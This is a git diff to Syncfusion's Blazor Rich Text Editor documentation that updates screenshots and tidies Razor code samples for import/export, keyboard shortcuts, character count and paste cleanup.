diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-google-font.png b/blazor/rich-text-editor/images/blazor-richtexteditor-google-font.png
index ed39ff2beb..ee97e6affb 100644
Binary files a/blazor/rich-text-editor/images/blazor-richtexteditor-google-font.png and b/blazor/rich-text-editor/images/blazor-richtexteditor-google-font.png differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-how-formatted-text.png b/blazor/rich-text-editor/images/blazor-richtexteditor-how-formatted-text.png
new file mode 100644
index 0000000000..4ff83c9efe
Binary files /dev/null and b/blazor/rich-text-editor/images/blazor-richtexteditor-how-formatted-text.png differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-how-formatted-value.png b/blazor/rich-text-editor/images/blazor-richtexteditor-how-formatted-value.png
new file mode 100644
index 0000000000..8f25e2d07c
Binary files /dev/null and b/blazor/rich-text-editor/images/blazor-richtexteditor-how-formatted-value.png differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-image-caption.png b/blazor/rich-text-editor/images/blazor-richtexteditor-image-caption.png
new file mode 100644
index 0000000000..ae2ce7c408
Binary files /dev/null and b/blazor/rich-text-editor/images/blazor-richtexteditor-image-caption.png differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-image-display.png b/blazor/rich-text-editor/images/blazor-richtexteditor-image-display.png
new file mode 100644
index 0000000000..b85fecfaa2
Binary files /dev/null and b/blazor/rich-text-editor/images/blazor-richtexteditor-image-display.png differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-image-link.png b/blazor/rich-text-editor/images/blazor-richtexteditor-image-link.png
index 0f79c5cf58..5ff0860888 100644
Binary files a/blazor/rich-text-editor/images/blazor-richtexteditor-image-link.png and b/blazor/rich-text-editor/images/blazor-richtexteditor-image-link.png differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-image-quick-toolbar.png b/blazor/rich-text-editor/images/blazor-richtexteditor-image-quick-toolbar.png
index b1eba1c9b6..d0b895c8a2 100644
Binary files a/blazor/rich-text-editor/images/blazor-richtexteditor-image-quick-toolbar.png and b/blazor/rich-text-editor/images/blazor-richtexteditor-image-quick-toolbar.png differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-image-resize.png b/blazor/rich-text-editor/images/blazor-richtexteditor-image-resize.png
index 5698f66deb..462559677d 100644
Binary files a/blazor/rich-text-editor/images/blazor-richtexteditor-image-resize.png and b/blazor/rich-text-editor/images/blazor-richtexteditor-image-resize.png differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-image-size.png b/blazor/rich-text-editor/images/blazor-richtexteditor-image-size.png
index e663584ba2..b656ba7047 100644
Binary files a/blazor/rich-text-editor/images/blazor-richtexteditor-image-size.png and b/blazor/rich-text-editor/images/blazor-richtexteditor-image-size.png differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-image.png b/blazor/rich-text-editor/images/blazor-richtexteditor-image.png
index be758a1324..92ea22ee9f 100644
Binary files a/blazor/rich-text-editor/images/blazor-richtexteditor-image.png and b/blazor/rich-text-editor/images/blazor-richtexteditor-image.png differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-indentations.png b/blazor/rich-text-editor/images/blazor-richtexteditor-indentations.png
new file mode 100644
index 0000000000..0db6a418bf
Binary files /dev/null and b/blazor/rich-text-editor/images/blazor-richtexteditor-indentations.png differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-insert-image.png b/blazor/rich-text-editor/images/blazor-richtexteditor-insert-image.png
index a02d13ec92..9fbc5a63af 100644
Binary files a/blazor/rich-text-editor/images/blazor-richtexteditor-insert-image.png and b/blazor/rich-text-editor/images/blazor-richtexteditor-insert-image.png differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-markdown-editor.png b/blazor/rich-text-editor/images/blazor-richtexteditor-markdown-editor.png
index 52f9fa58cb..ed52d50165 100644
Binary files a/blazor/rich-text-editor/images/blazor-richtexteditor-markdown-editor.png and b/blazor/rich-text-editor/images/blazor-richtexteditor-markdown-editor.png differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-number-character.png b/blazor/rich-text-editor/images/blazor-richtexteditor-number-character.png
new file mode 100644
index 0000000000..70398c830f
Binary files /dev/null and b/blazor/rich-text-editor/images/blazor-richtexteditor-number-character.png differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-number-format-list.png b/blazor/rich-text-editor/images/blazor-richtexteditor-number-format-list.png
index ceb7740ffc..17a6c6493d 100644
Binary files a/blazor/rich-text-editor/images/blazor-richtexteditor-number-format-list.png and b/blazor/rich-text-editor/images/blazor-richtexteditor-number-format-list.png differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-paste-allowed-style.png b/blazor/rich-text-editor/images/blazor-richtexteditor-paste-allowed-style.png
deleted file mode 100644
index 5264133084..0000000000
Binary files a/blazor/rich-text-editor/images/blazor-richtexteditor-paste-allowed-style.png and /dev/null differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-paste-denied-attribute.png b/blazor/rich-text-editor/images/blazor-richtexteditor-paste-denied-attribute.png
deleted file mode 100644
index 004629dd04..0000000000
Binary files a/blazor/rich-text-editor/images/blazor-richtexteditor-paste-denied-attribute.png and /dev/null differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-popup-toolbar.png b/blazor/rich-text-editor/images/blazor-richtexteditor-popup-toolbar.png
index 6cd744c6ab..abafaaaa21 100644
Binary files a/blazor/rich-text-editor/images/blazor-richtexteditor-popup-toolbar.png and b/blazor/rich-text-editor/images/blazor-richtexteditor-popup-toolbar.png differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-remove-image.png b/blazor/rich-text-editor/images/blazor-richtexteditor-remove-image.png
index 2be94eed98..2d54b996d3 100644
Binary files a/blazor/rich-text-editor/images/blazor-richtexteditor-remove-image.png and b/blazor/rich-text-editor/images/blazor-richtexteditor-remove-image.png differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-remove-undo-redo.png b/blazor/rich-text-editor/images/blazor-richtexteditor-remove-undo-redo.png
index 4d74868709..4af5a0da1b 100644
Binary files a/blazor/rich-text-editor/images/blazor-richtexteditor-remove-undo-redo.png and b/blazor/rich-text-editor/images/blazor-richtexteditor-remove-undo-redo.png differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-removed-default-toolbar-items.png b/blazor/rich-text-editor/images/blazor-richtexteditor-removed-default-toolbar-items.png
index ef557b59d4..647bb8332c 100644
Binary files a/blazor/rich-text-editor/images/blazor-richtexteditor-removed-default-toolbar-items.png and b/blazor/rich-text-editor/images/blazor-richtexteditor-removed-default-toolbar-items.png differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-resizing.png b/blazor/rich-text-editor/images/blazor-richtexteditor-resizing.png
index 06a253102b..52574b42a6 100644
Binary files a/blazor/rich-text-editor/images/blazor-richtexteditor-resizing.png and b/blazor/rich-text-editor/images/blazor-richtexteditor-resizing.png differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-right-to-left.png b/blazor/rich-text-editor/images/blazor-richtexteditor-right-to-left.png
index 7bcd55d5b5..dc0425e57a 100644
Binary files a/blazor/rich-text-editor/images/blazor-richtexteditor-right-to-left.png and b/blazor/rich-text-editor/images/blazor-richtexteditor-right-to-left.png differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-shift-enter-key.png b/blazor/rich-text-editor/images/blazor-richtexteditor-shift-enter-key.png
deleted file mode 100644
index 5db7f8914c..0000000000
Binary files a/blazor/rich-text-editor/images/blazor-richtexteditor-shift-enter-key.png and /dev/null differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-shiftenterkey.gif b/blazor/rich-text-editor/images/blazor-richtexteditor-shiftenterkey.gif
new file mode 100644
index 0000000000..2f5c46d08c
Binary files /dev/null and b/blazor/rich-text-editor/images/blazor-richtexteditor-shiftenterkey.gif differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-shortcutkey.gif b/blazor/rich-text-editor/images/blazor-richtexteditor-shortcutkey.gif
new file mode 100644
index 0000000000..09e144aa4b
Binary files /dev/null and b/blazor/rich-text-editor/images/blazor-richtexteditor-shortcutkey.gif differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-table-quick-toolbar.png b/blazor/rich-text-editor/images/blazor-richtexteditor-table-quick-toolbar.png
index 9e810b980f..fdd7854ce9 100644
Binary files a/blazor/rich-text-editor/images/blazor-richtexteditor-table-quick-toolbar.png and b/blazor/rich-text-editor/images/blazor-richtexteditor-table-quick-toolbar.png differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-text-quick-toolbar.png b/blazor/rich-text-editor/images/blazor-richtexteditor-text-quick-toolbar.png
index 8a1097e9e2..34c0001e97 100644
Binary files a/blazor/rich-text-editor/images/blazor-richtexteditor-text-quick-toolbar.png and b/blazor/rich-text-editor/images/blazor-richtexteditor-text-quick-toolbar.png differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-video-del.png b/blazor/rich-text-editor/images/blazor-richtexteditor-video-del.png
index 58b7b4ddbe..a1d1cb17bc 100644
Binary files a/blazor/rich-text-editor/images/blazor-richtexteditor-video-del.png and b/blazor/rich-text-editor/images/blazor-richtexteditor-video-del.png differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-video-display.png b/blazor/rich-text-editor/images/blazor-richtexteditor-video-display.png
new file mode 100644
index 0000000000..7eb9432ad3
Binary files /dev/null and b/blazor/rich-text-editor/images/blazor-richtexteditor-video-display.png differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-video-replace-embed.png b/blazor/rich-text-editor/images/blazor-richtexteditor-video-replace-embed.png
index f0ef9a231c..665c0664aa 100644
Binary files a/blazor/rich-text-editor/images/blazor-richtexteditor-video-replace-embed.png and b/blazor/rich-text-editor/images/blazor-richtexteditor-video-replace-embed.png differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-video-replace-web.png b/blazor/rich-text-editor/images/blazor-richtexteditor-video-replace-web.png
index 59521844ee..85f41c140f 100644
Binary files a/blazor/rich-text-editor/images/blazor-richtexteditor-video-replace-web.png and b/blazor/rich-text-editor/images/blazor-richtexteditor-video-replace-web.png differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-video-resize.png b/blazor/rich-text-editor/images/blazor-richtexteditor-video-resize.png
index 51fb08ac24..9f9f5b9a39 100644
Binary files a/blazor/rich-text-editor/images/blazor-richtexteditor-video-resize.png and b/blazor/rich-text-editor/images/blazor-richtexteditor-video-resize.png differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-video-size.png b/blazor/rich-text-editor/images/blazor-richtexteditor-video-size.png
index 6293815486..040fdb3900 100644
Binary files a/blazor/rich-text-editor/images/blazor-richtexteditor-video-size.png and b/blazor/rich-text-editor/images/blazor-richtexteditor-video-size.png differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-video-web.png b/blazor/rich-text-editor/images/blazor-richtexteditor-video-web.png
index 78efd6e885..26f4645cd9 100644
Binary files a/blazor/rich-text-editor/images/blazor-richtexteditor-video-web.png and b/blazor/rich-text-editor/images/blazor-richtexteditor-video-web.png differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-video.png b/blazor/rich-text-editor/images/blazor-richtexteditor-video.png
new file mode 100644
index 0000000000..a8d57b1873
Binary files /dev/null and b/blazor/rich-text-editor/images/blazor-richtexteditor-video.png differ
diff --git a/blazor/rich-text-editor/images/blazor-richtexteditor-xhtml-validation.png b/blazor/rich-text-editor/images/blazor-richtexteditor-xhtml-validation.png
new file mode 100644
index 0000000000..9549f87e48
Binary files /dev/null and b/blazor/rich-text-editor/images/blazor-richtexteditor-xhtml-validation.png differ
diff --git a/blazor/rich-text-editor/images/checklist.png b/blazor/rich-text-editor/images/checklist.png
new file mode 100644
index 0000000000..0abfc77f06
Binary files /dev/null and b/blazor/rich-text-editor/images/checklist.png differ
diff --git a/blazor/rich-text-editor/images/edit-link.png b/blazor/rich-text-editor/images/edit-link.png
index de9ca34616..91e9ed6d1a 100644
Binary files a/blazor/rich-text-editor/images/edit-link.png and b/blazor/rich-text-editor/images/edit-link.png differ
diff --git a/blazor/rich-text-editor/images/export-pdf.png b/blazor/rich-text-editor/images/export-pdf.png
new file mode 100644
index 0000000000..fcf9ed006c
Binary files /dev/null and b/blazor/rich-text-editor/images/export-pdf.png differ
diff --git a/blazor/rich-text-editor/images/export-word.png b/blazor/rich-text-editor/images/export-word.png
new file mode 100644
index 0000000000..7eca07fc23
Binary files /dev/null and b/blazor/rich-text-editor/images/export-word.png differ
diff --git a/blazor/rich-text-editor/images/image-replace.png b/blazor/rich-text-editor/images/image-replace.png
index c81ac07288..304cd66e06 100644
Binary files a/blazor/rich-text-editor/images/image-replace.png and b/blazor/rich-text-editor/images/image-replace.png differ
diff --git a/blazor/rich-text-editor/images/import-word.png b/blazor/rich-text-editor/images/import-word.png
new file mode 100644
index 0000000000..996dcf0c2b
Binary files /dev/null and b/blazor/rich-text-editor/images/import-word.png differ
diff --git a/blazor/rich-text-editor/images/insert-code-block.png b/blazor/rich-text-editor/images/insert-code-block.png
new file mode 100644
index 0000000000..66588ba8de
Binary files /dev/null and b/blazor/rich-text-editor/images/insert-code-block.png differ
diff --git a/blazor/rich-text-editor/images/line-height.png b/blazor/rich-text-editor/images/line-height.png
new file mode 100644
index 0000000000..50721ddfe0
Binary files /dev/null and b/blazor/rich-text-editor/images/line-height.png differ
diff --git a/blazor/rich-text-editor/images/remove-link.png b/blazor/rich-text-editor/images/remove-link.png
index 8f26b75219..9abc79a009 100644
Binary files a/blazor/rich-text-editor/images/remove-link.png and b/blazor/rich-text-editor/images/remove-link.png differ
diff --git a/blazor/rich-text-editor/images/table-edit.png b/blazor/rich-text-editor/images/table-edit.png
index 0a58aa979b..1909bf2585 100644
Binary files a/blazor/rich-text-editor/images/table-edit.png and b/blazor/rich-text-editor/images/table-edit.png differ
diff --git a/blazor/rich-text-editor/images/table-headers.png b/blazor/rich-text-editor/images/table-headers.png
index cb6afeb334..2b1cd0ef49 100644
Binary files a/blazor/rich-text-editor/images/table-headers.png and b/blazor/rich-text-editor/images/table-headers.png differ
diff --git a/blazor/rich-text-editor/images/table-styles.png b/blazor/rich-text-editor/images/table-styles.png
new file mode 100644
index 0000000000..af35a42e97
Binary files /dev/null and b/blazor/rich-text-editor/images/table-styles.png differ
diff --git a/blazor/rich-text-editor/import-export.md b/blazor/rich-text-editor/import-export.md
index cc1115be09..f332f053f7 100644
--- a/blazor/rich-text-editor/import-export.md
+++ b/blazor/rich-text-editor/import-export.md
@@ -16,30 +16,30 @@ The Rich Text Editor allows you to load an external HTML file in the editor's co
 {% tabs %}
 {% highlight razor %}
 
-@using System.IO; 
-@using Syncfusion.Blazor.RichTextEditor 
- 
-<SfRichTextEditor @bind-Value="@HtmlString"> 
-    <p>Rich Text Editor allows to insert images from online source as well as local computer where you want to insert the image in your content.</p> 
-    <p><b>Get started Quick Toolbar to click on the image</b></p> 
-    <p>It is possible to add custom style on the selected image inside the Rich Text Editor through quick toolbar.</p> 
-</SfRichTextEditor> 
- 
+@using System.IO
+@using Syncfusion.Blazor.RichTextEditor
+
+<SfRichTextEditor @bind-Value="@HtmlString">
+    <p>Rich Text Editor allows to insert images from online source as well as local computer where you want to insert the image in your content.</p>
+    <p><b>Get started Quick Toolbar to click on the image</b></p>
+    <p>It is possible to add custom style on the selected image inside the Rich Text Editor through quick toolbar.</p>
+</SfRichTextEditor>
+
 @code { 
-    private string HtmlString { get; set; } 
-    private string PathToHTMLFile = Path.GetFullPath(Directory.GetCurrentDirectory() + @"\wwwroot\HtmlFiles\HtmlTest.html"); 
-    protected override void OnInitialized() 
-    { 
-        using (FileStream fs = File.Open(PathToHTMLFile, FileMode.Open, FileAccess.ReadWrite)) 
+    private string HtmlString { get; set; }
+    private string PathToHTMLFile = Path.GetFullPath(Directory.GetCurrentDirectory() + @"\wwwroot\HtmlFiles\HtmlTest.html");
+    protected override void OnInitialized()
+    {
+        using (FileStream fs = File.Open(PathToHTMLFile, FileMode.Open, FileAccess.ReadWrite))
         { 
-            using (StreamReader sr = new StreamReader(fs)) 
+            using (StreamReader sr = new StreamReader(fs))
             {
                 // Importing values from HTML file.
-                HtmlString = sr.ReadToEnd(); 
-            } 
-        } 
-    } 
-} 
+                HtmlString = sr.ReadToEnd();
+            }
+        }
+    }
+}
 
 {% endhighlight %}
 {% endtabs %}
@@ -55,9 +55,9 @@ To import an RTF file into the editor, use the file uploader component and retri
 {% tabs %}
 {% highlight razor %}
 
-@using Import_RTF_File.Data;
-@using Syncfusion.Blazor.RichTextEditor;
-@using Syncfusion.Blazor.Inputs;
+@using Import_RTF_File.Data
+@using Syncfusion.Blazor.RichTextEditor
+@using Syncfusion.Blazor.Inputs
 @inject ExportService exportService
 
 <SfRichTextEditor ID="defalt_RTE" @ref="RteObj" @bind-Value="@rteValue" EnableHtmlSanitizer="false">
@@ -140,15 +140,15 @@ The following example illustrates how to set up the `ImportWord` in the Rich Tex
 {% tabs %}
 {% highlight razor %}
 
-@using System.IO; 
-@using Syncfusion.Blazor.RichTextEditor 
- 
-<SfRichTextEditor Height="300px" Width="700px"> 
+@using System.IO
+@using Syncfusion.Blazor.RichTextEditor
+
+<SfRichTextEditor Height="300px" Width="700px">
     <RichTextEditorToolbarSettings Items="@Tools"></RichTextEditorToolbarSettings>
     <RichTextEditorImportWord ServiceUrl="https://blazor.syncfusion.com/services/production/api/RichTextEditor/ImportFromWord"></RichTextEditorImportWord>
-</SfRichTextEditor> 
- 
-@code { 
+</SfRichTextEditor>
+
+@code {
      private List<ToolbarItemModel> Tools = new List<ToolbarItemModel>()
     {
         new ToolbarItemModel() { Command = ToolbarCommand.ImportWord },
@@ -169,7 +169,7 @@ The following example illustrates how to set up the `ImportWord` in the Rich Tex
         new ToolbarItemModel() { Command = ToolbarCommand.Undo },
         new ToolbarItemModel() { Command = ToolbarCommand.Redo }
     };
-} 
+}
 
 {% endhighlight %}
 {% endtabs %}
@@ -183,15 +183,15 @@ You can restrict the word uploaded from the local machine when the uploaded word
 {% tabs %}
 {% highlight razor %}
 
-@using System.IO; 
-@using Syncfusion.Blazor.RichTextEditor 
- 
-<SfRichTextEditor Height="300px"> 
+@using System.IO
+@using Syncfusion.Blazor.RichTextEditor
+
+<SfRichTextEditor Height="300px">
     <RichTextEditorToolbarSettings Items="@Tools"></RichTextEditorToolbarSettings>
     <RichTextEditorImportWord ServiceUrl="https://blazor.syncfusion.com/services/production/api/RichTextEditor/ImportFromWord" MaxFileSize="10000000"></RichTextEditorImportWord>
-</SfRichTextEditor> 
- 
-@code { 
+</SfRichTextEditor>
+
+@code {
      private List<ToolbarItemModel> Tools = new List<ToolbarItemModel>()
     {
         new ToolbarItemModel() { Command = ToolbarCommand.ImportWord },
@@ -212,7 +212,7 @@ You can restrict the word uploaded from the local machine when the uploaded word
         new ToolbarItemModel() { Command = ToolbarCommand.Undo },
         new ToolbarItemModel() { Command = ToolbarCommand.Redo }
     };
-} 
+}
 
 {% endhighlight %}
 {% endtabs %}
@@ -224,16 +224,16 @@ You can add additional data with the word file uploaded from the Rich Text Edito
 {% tabs %}
 {% highlight razor %}
 
-@using System.IO; 
-@using Syncfusion.Blazor.RichTextEditor 
- 
-<SfRichTextEditor Height="300px"> 
+@using System.IO
+@using Syncfusion.Blazor.RichTextEditor
+
+<SfRichTextEditor Height="300px">
     <RichTextEditorToolbarSettings Items="@Tools"></RichTextEditorToolbarSettings>
     <RichTextEditorEvents FileUploading="@FileUploading"></RichTextEditorEvents>
     <RichTextEditorImportWord ServiceUrl="api/Word/ImportFromWord" MaxFileSize="10000000"></RichTextEditorImportWord>
-</SfRichTextEditor> 
- 
-@code { 
+</SfRichTextEditor>
+
+@code {
     private void FileUploading(FileUploadingEventArgs args)
     {
         var accessToken = "Authorization_token";
@@ -260,7 +260,7 @@ You can add additional data with the word file uploaded from the Rich Text Edito
         new ToolbarItemModel() { Command = ToolbarCommand.Undo },
         new ToolbarItemModel() { Command = ToolbarCommand.Redo }
     };
-} 
+}
 
 {% endhighlight %}
 {% endtabs %}
@@ -303,24 +303,24 @@ namespace WordUpload.Controllers
 
 ## Export to RTF file
 
-Use the [Syncfusion.DocIO](https://libraries.io/nuget/Syncfusion.DocIO.NET) libraries to export the RTE content to the RTF format. Ensure the Syncfusion.DocIO.NET NuGet package is installed in your project.
+Use the [Syncfusion.DocIO](https://libraries.io/nuget/Syncfusion.DocIO.NET) libraries to export the Rich Text Editor content to the RTF format. Ensure the Syncfusion.DocIO.NET NuGet package is installed in your project.
 
-Click **Export**, and use **Syncfusion.DocIO** libraries to convert the RTE content to an RTF file. Use the following code to export the RTF file.
+Click **Export**, and use **Syncfusion.DocIO** libraries to convert the Rich Text Editor content to an RTF file. Use the following code to export the RTF file.
 
 {% tabs %}
 {% highlight razor %}
 
-@using Syncfusion.Blazor.RichTextEditor;
-@using Syncfusion.Blazor.Inputs;
-@inject NavigationManager navigationManager;
+@using Syncfusion.Blazor.RichTextEditor
+@using Syncfusion.Blazor.Inputs
+@inject NavigationManager navigationManager
 @inject HttpClient Http
-@using System.Net.Http;
-@using System.Threading.Tasks;
+@using System.Net.Http
+@using System.Threading.Tasks
 
 <Syncfusion.Blazor.Buttons.SfButton OnClick="OnExport">Export</Syncfusion.Blazor.Buttons.SfButton>
-    <SfRichTextEditor ID="customtool" @ref="RteObj" @bind-Value="@rteValue" EnableHtmlSanitizer="false">
-        <RichTextEditorImageSettings SaveUrl="api/SampleData/Save" Path="../images/"></RichTextEditorImageSettings>
-    </SfRichTextEditor>
+<SfRichTextEditor ID="customtool" @ref="RteObj" @bind-Value="@rteValue" EnableHtmlSanitizer="false">
+    <RichTextEditorImageSettings SaveUrl="api/SampleData/Save" Path="../images/"></RichTextEditorImageSettings>
+</SfRichTextEditor>
 
 @code {
     SfRichTextEditor RteObj;
@@ -346,7 +346,7 @@ N> [View Sample in GitHub](https://github.com/SyncfusionExamples/blazor-rich-tex
 
 ## Export to HTML file
 
-Use [Syncfusion.DocIO](https://libraries.io/nuget/Syncfusion.DocIO.NET) libraries to export the RTE content to HTML format. Make sure the required NuGet package is referenced in your project.
+Use [Syncfusion.DocIO](https://libraries.io/nuget/Syncfusion.DocIO.NET) libraries to export the Rich Text Editor content to HTML format. Make sure the required NuGet package is referenced in your project.
 
 While clicking on the export button, it makes a call to the Export to HTML service.
 
@@ -610,7 +610,7 @@ The following example demonstrates how to configure the `ExportWord` and `Export
         new ToolbarItemModel() { Command = ToolbarCommand.ClearFormat },
         new ToolbarItemModel() { Command = ToolbarCommand.Print },
         new ToolbarItemModel() { Command = ToolbarCommand.SourceCode },
-        new ToolbarItemModel() { Command = ToolbarCommand.FullScreen },
+        new ToolbarItemModel() { Command = ToolbarCommand.FullScreen }
     };
     private List<TableToolbarItemModel> TableQuickToolbarItems = new List<TableToolbarItemModel>()
     {
@@ -997,6 +997,7 @@ The following example demonstrates how to pass authentication tokens and custom
 {% tabs %}
 {% highlight razor %}
 @using Syncfusion.Blazor.RichTextEditor
+
 <SfRichTextEditor>
     <RichTextEditorEvents OnExport="@Export" />
     <RichTextEditorToolbarSettings Items="@Items" />
@@ -1004,13 +1005,14 @@ The following example demonstrates how to pass authentication tokens and custom
     <RichTextEditorExportWord ServiceUrl="@exportWordServiceUrl" />
     Rich Text Editor
 </SfRichTextEditor>
+
 @code {
     private string exportWordServiceUrl = "https://blazor.syncfusion.com/services/production/api/RichTextEditor/ExportToDocx";
     private string exportPdfServiceUrl = "https://blazor.syncfusion.com/services/production/api/RichTextEditor/ExportToPdf";
     private List<ToolbarItemModel> Items = new List<ToolbarItemModel>()
     {
         new ToolbarItemModel() { Command = ToolbarCommand.ExportPdf },
-        new ToolbarItemModel() { Command = ToolbarCommand.ExportWord },
+        new ToolbarItemModel() { Command = ToolbarCommand.ExportWord }
     };
     private void Export(ExportingEventArgs args)
     {
diff --git a/blazor/rich-text-editor/inline-mode.md b/blazor/rich-text-editor/inline-mode.md
index df4da88502..07d88ab60e 100644
--- a/blazor/rich-text-editor/inline-mode.md
+++ b/blazor/rich-text-editor/inline-mode.md
@@ -42,9 +42,3 @@ The inline toolbar will appear only for the selected text by enabling the [RichT
 ![Blazor Rich Text Editor enabling selection](./images/blazor-richtexteditor-enable-selection.gif)
 
 N> You can refer to our [Blazor Rich Text Editor](https://www.syncfusion.com/blazor-components/blazor-wysiwyg-rich-text-editor) feature tour page for its groundbreaking feature representations. You can also explore our [Blazor Rich Text Editor](https://blazor.syncfusion.com/demos/rich-text-editor/overview?theme=bootstrap5) example to know how to render and configure the rich text editor tools.
-
-## See also
-
-* [How to Configuring the toolbar position](../toolbar/toolbar-position#configuring-the-toolbar-position)
-* [How to insert link editing option in the toolbar items](../tools/link-manipulation#insert-link)
-* [How to insert image editing option in the toolbar items](../tools/insert-image#uploading-and-inserting-images)
diff --git a/blazor/rich-text-editor/keyboard-support.md b/blazor/rich-text-editor/keyboard-support.md
index 26f7ecfe05..b6f1bd5315 100644
--- a/blazor/rich-text-editor/keyboard-support.md
+++ b/blazor/rich-text-editor/keyboard-support.md
@@ -135,41 +135,19 @@ These miscellaneous shortcuts help with actions like toggling fullscreen, cleari
 
 ## Custom key config
 
-Customize the key config for the keyboard interaction of Rich Text Editor, using the `KeyConfigure` property.
+Customize the key config for the keyboard interaction of Rich Text Editor, using the [KeyConfigure](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.RichTextEditor.SfRichTextEditor.html#Syncfusion_Blazor_RichTextEditor_SfRichTextEditor_KeyConfigure) property.
 
 In the following code block, customize the bold and italic, toolbar actions with `ctrl+1`, `ctrl+2` respectively.
 
-```cshtml
-
-@using Syncfusion.Blazor.RichTextEditor
-
-<SfRichTextEditor KeyConfigure="@KeyConfig">
-    <p>The Rich Text Editor component is WYSIWYG ('what you see is what you get') editor that provides the best user experience to create and update the content. Users can format their content using standard toolbar commands.</p>
-    <p><b> Key features:</b></p>
-    <ul>
-    <li><p> Provides <b>IFRAME</b> and <b>DIV</b> modes </p></li>
-    <li><p> Capable of handling markdown editing.</p></li>
-    <li><p> Contains a modular library to load the necessary functionality on demand.</p></li>
-    <li><p> Provides a fully customizable toolbar.</p></li>
-    <li><p> Provides HTML view to edit the source directly for developers.</p></li>
-    <li><p> Supports third - party library integration.</p></li>
-    <li><p> Allows preview of modified content before saving it.</p></li>
-    </ul>
-</SfRichTextEditor>
-
-@code {
-    private ShortcutKeys KeyConfig = new ShortcutKeys()
-    {
-        Bold = "ctrl+1",
-        Italic = "ctrl+2"
-    };
-}
-
-```
+{% tabs %}
+{% highlight razor %}
 
-N> You can refer to our [Blazor Rich Text Editor](https://www.syncfusion.com/blazor-components/blazor-rich-text-editor) feature tour page for its groundbreaking feature representations. You can also explore our [Blazor Rich Text Editor](https://blazor.syncfusion.com/demos/rich-text-editor/overview?theme=bootstrap5) example to know how to render and configure the rich text editor tools.
+{% include_relative code-snippet/keyboard-support.razor %}
+
+{% endhighlight %}
+{% endtabs %}
 
-## See also
+![Blazor Rich Text Editor custom key configuration](./images/blazor-richtexteditor-shortcutkey.gif)
+
+N> You can refer to our [Blazor Rich Text Editor](https://www.syncfusion.com/blazor-components/blazor-rich-text-editor) feature tour page for its groundbreaking feature representations. You can also explore our [Blazor Rich Text Editor](https://blazor.syncfusion.com/demos/rich-text-editor/overview?theme=bootstrap5) example to know how to render and configure the rich text editor tools.
 
-* [Globalization](./globalization)
-* [Accessibility](./accessibility)
diff --git a/blazor/rich-text-editor/miscellaneous.md b/blazor/rich-text-editor/miscellaneous.md
index 3b166ec9e5..eb84bf5422 100644
--- a/blazor/rich-text-editor/miscellaneous.md
+++ b/blazor/rich-text-editor/miscellaneous.md
@@ -57,7 +57,7 @@ The character count indicator changes color based on usage thresholds:
 
 @using Syncfusion.Blazor.RichTextEditor
 
-<SfRichTextEditor ShowCharCount="true" MaxLength="500">
+<SfRichTextEditor ShowCharCount="true" MaxLength="300">
     <p>The Rich Text Editor component is WYSIWYG ('what you see is what you get') editor that provides the best user experience to create and update the content. Users can format their content using standard toolbar commands.</p>
     <p><b> Key features:</b></p>
     <ul>
@@ -113,7 +113,7 @@ This feature allows the user to change the appearance of the Numbered and Bullet
     private List<ToolbarItemModel> Tools = new List<ToolbarItemModel>()
     {
         new ToolbarItemModel() { Command = ToolbarCommand.NumberFormatList },
-        new ToolbarItemModel() { Command = ToolbarCommand.BulletFormatList },
+        new ToolbarItemModel() { Command = ToolbarCommand.BulletFormatList }
     };
 }
 
diff --git a/blazor/rich-text-editor/paste-cleanup.md b/blazor/rich-text-editor/paste-cleanup.md
index 42ac46fac1..a5cd0cd75a 100644
--- a/blazor/rich-text-editor/paste-cleanup.md
+++ b/blazor/rich-text-editor/paste-cleanup.md
@@ -126,7 +126,7 @@ The [DeniedAttributes](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.R
 {% endhighlight %}
 {% endtabs %}
 
-![Blazor RichTextEditor with denied attribute](./images/blazor-richtexteditor-paste-denied-attribute.png)
+![Blazor RichTextEditor with denied attribute](./images/blazor-richtexteditor-deniedattribute.gif)
 
 > This setting is ignored when `PlainText` is set to `true`. <br>
 It only works when either `KeepFormat` is set to `true`, or when `Prompt`, `PlainText`, and `KeepFormat` are all set to `false`, which triggers clean format behavior.
@@ -147,7 +147,7 @@ For Example, **public string[] AllowedStyles = new string[] { "color", "margin"
 {% endhighlight %}
 {% endtabs %}
 
-![Blazor RichTextEditor with allowed styles](./images/blazor-richtexteditor-paste-allowed-style.png)
